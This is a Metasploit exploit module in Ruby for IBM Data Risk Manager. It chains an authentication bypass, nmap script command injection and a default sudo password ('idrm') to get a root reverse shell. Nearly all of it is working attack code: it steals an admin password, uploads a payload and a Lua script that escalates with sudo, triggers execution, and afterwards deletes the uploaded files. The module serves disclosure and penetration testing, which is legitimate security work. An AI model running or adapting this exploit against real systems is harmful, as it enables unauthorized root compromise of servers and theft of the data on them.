329 lines
12 KiB
Ruby
329 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by
|
|
an unauthenticated attacker to achieve remote code execution as root.
|
|
The first is an unauthenticated bypass, followed by a command injection as the server user,
|
|
and finally abuse of an insecure default password.
|
|
This module exploits all three vulnerabilities, giving the attacker a root shell.
|
|
At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.
|
|
The authentication bypass works on versions <= 2.0.6.1, but the command injection should only work on
|
|
versions <= 2.0.4 according to IBM.
|
|
},
|
|
'Author' => [
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2020-4427' ], # auth bypass
|
|
[ 'CVE', '2020-4428' ], # command injection
|
|
[ 'CVE', '2020-4429' ], # insecure default password
|
|
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
|
|
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],
|
|
[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/' ]
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'Targets' => [
|
|
[ 'IBM Data Risk Manager <= 2.0.4', {} ]
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 15,
|
|
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
|
|
'SSL' => true
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2020-04-21',
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_fs_delete_file
|
|
]
|
|
}
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8443),
|
|
OptString.new('TARGETURI', [ true, 'Default server path', '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
# at the moment there is no better way to detect AND be stealthy about it
|
|
session_id = rand_text_alpha(5..12)
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
|
|
'method' => 'GET',
|
|
'vars_get' => {
|
|
'id' => session_id,
|
|
'userName' => 'admin'
|
|
}
|
|
})
|
|
if res && (res.code == 302) &&
|
|
res.headers['Location'].include?('localhost:8765') &&
|
|
res.headers['Location'].include?('saml/idpSelection')
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
# post-exploitation:
|
|
# - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out)
|
|
def on_new_session(client)
|
|
if client.type == 'meterpreter'
|
|
# stdapi must be loaded before we can use fs.file
|
|
client.core.use('stdapi') if !client.ext.aliases.include?('stdapi')
|
|
client.fs.file.rm(@script_filepath)
|
|
client.fs.file.rm(@payload_filepath)
|
|
else
|
|
client.shell_command_token("rm #{@script_filepath}")
|
|
client.shell_command_token("rm #{@payload_filepath}")
|
|
end
|
|
end
|
|
|
|
# version 2.0.1 runs as root, so we need to change the path to where we deploy the patches
|
|
def get_patches_path(cookie, csrf)
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'getAppInfo'),
|
|
'method' => 'GET',
|
|
'cookie' => cookie,
|
|
'headers' => { 'CSRF-TOKEN' => csrf }
|
|
})
|
|
|
|
if res && (res.code == 200) && res.body =~ /appVersion":"2\.0\.1"/
|
|
print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1")
|
|
return '/root/agile3/patches/'
|
|
end
|
|
print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above")
|
|
'/home/a3user/agile3/patches/'
|
|
end
|
|
|
|
def create_session_id
|
|
# step 1: create a session ID and try to make it stick
|
|
session_id = rand_text_alpha(5..12)
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
|
|
'method' => 'GET',
|
|
'vars_get' => {
|
|
'id' => session_id,
|
|
'userName' => 'admin'
|
|
}
|
|
})
|
|
if res && (res.code != 302)
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
|
|
end
|
|
|
|
print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")
|
|
|
|
session_id
|
|
end
|
|
|
|
def free_the_admin(session_id)
|
|
# step 2: give the session ID to the server and have it grant us a free admin password
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
|
|
post_data.add_part(rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
|
|
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
|
|
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
|
|
post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
|
|
'method' => 'POST',
|
|
'data' => post_data.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
|
})
|
|
|
|
unless res && (res.code == 200) && res.body[/"data":"([0-9a-f-]{36})/]
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.")
|
|
end
|
|
|
|
password = Regexp.last_match(1)
|
|
print_good("#{peer} - We have obtained a new admin password #{password}")
|
|
|
|
password
|
|
end
|
|
|
|
def login_and_csrf(password)
|
|
# step 3: login and get an authenticated cookie
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'login'),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'userName' => 'admin',
|
|
'password' => password
|
|
}
|
|
})
|
|
unless res && (res.code == 302) && res.get_cookies
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.")
|
|
end
|
|
|
|
print_good("#{peer} - ... and are authenticated as an admin!")
|
|
cookie = res.get_cookies
|
|
url = res.redirection.to_s
|
|
|
|
# step 4: obtain CSRF header in order to be able to make valid requests
|
|
res = send_request_cgi({
|
|
'uri' => url,
|
|
'method' => 'GET',
|
|
'cookie' => cookie
|
|
})
|
|
|
|
unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f-]{36})";/
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.")
|
|
end
|
|
csrf = Regexp.last_match(1)
|
|
|
|
return cookie, csrf
|
|
end
|
|
|
|
def upload_payload_and_script(cookie, csrf, patches_path)
|
|
# step 5: upload our payload
|
|
payload_file = "#{rand_text_alpha(5..12)}.enc"
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"")
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
|
|
'method' => 'POST',
|
|
'cookie' => cookie,
|
|
'headers' => { 'CSRF-TOKEN' => csrf },
|
|
'data' => post_data.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
|
})
|
|
|
|
unless res && (res.code == 200)
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.")
|
|
end
|
|
|
|
print_good("#{peer} - We have uploaded our payload... ")
|
|
|
|
# step 6: upload our script file
|
|
# nmap will run as a3user (the server user), which has a default password of "idrm".
|
|
# a3user has sudo access, so that means we run as root!
|
|
# However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo
|
|
# to execute as root, we ensure our payload still executes as a3user.
|
|
#
|
|
# Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity.
|
|
script_file = "#{rand_text_alpha(5..12)}.enc"
|
|
@script_filepath = patches_path + script_file
|
|
@payload_filepath = patches_path + payload_file
|
|
rand_file = rand_text_alpha(5..12)
|
|
cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};"
|
|
cmd << " root=`cat /tmp/#{rand_file}`;"
|
|
cmd << " if [ $root == 'root' ]; then sudo #{@payload_filepath};"
|
|
cmd << " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}"
|
|
script_file_contents = "os.execute(\"#{cmd}\")"
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"")
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
|
|
'method' => 'POST',
|
|
'cookie' => cookie,
|
|
'headers' => { 'CSRF-TOKEN' => csrf },
|
|
'data' => post_data.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
|
})
|
|
|
|
unless res && (res.code == 200)
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.")
|
|
end
|
|
|
|
print_good("#{peer} - and our nmap script file!")
|
|
end
|
|
|
|
def obtain_bearer_token(password)
|
|
# step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
|
|
post_data.add_part(password, nil, nil, 'form-data; name="password"')
|
|
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
|
|
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
|
|
'method' => 'POST',
|
|
'data' => post_data.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
|
})
|
|
|
|
unless res && (res.code == 200) && res.body =~ /"data":\{"access_token":"([0-9a-f-]{36})","token_type":"bearer"/
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.")
|
|
end
|
|
|
|
bearer = Regexp.last_match(1)
|
|
print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...")
|
|
|
|
bearer
|
|
end
|
|
|
|
def exploit
|
|
# step 1: create a session ID and try to make it stick
|
|
session_id = create_session_id
|
|
|
|
# step 2: give the session ID to the server and have it grant us a free admin password
|
|
password = free_the_admin(session_id)
|
|
|
|
# step 3: login and get an authenticated cookie
|
|
# step 4: obtain CSRF header in order to be able to make valid requests
|
|
cookie, csrf = login_and_csrf(password)
|
|
|
|
patches_path = get_patches_path(cookie, csrf)
|
|
|
|
# step 5: upload our payload
|
|
# step 6: upload our script file
|
|
upload_payload_and_script(cookie, csrf, patches_path)
|
|
|
|
# step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
|
|
bearer = obtain_bearer_token(password)
|
|
|
|
# step 8 and final: invoke the nmap scan with our script file
|
|
script = "--script=#{@script_filepath}"
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
|
|
post_data.add_part('1', nil, nil, 'form-data; name="type"')
|
|
post_data.add_part('', nil, nil, 'form-data; name="portRange"')
|
|
post_data.add_part(script, nil, nil, 'form-data; name="ipAddress"')
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s),
|
|
'method' => 'POST',
|
|
'headers' => { 'Authorization' => "Bearer #{bearer}" },
|
|
'data' => post_data.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
|
})
|
|
unless res && (res.code == 200)
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.")
|
|
end
|
|
|
|
print_good("#{peer} - Shell incoming!")
|
|
end
|
|
end
|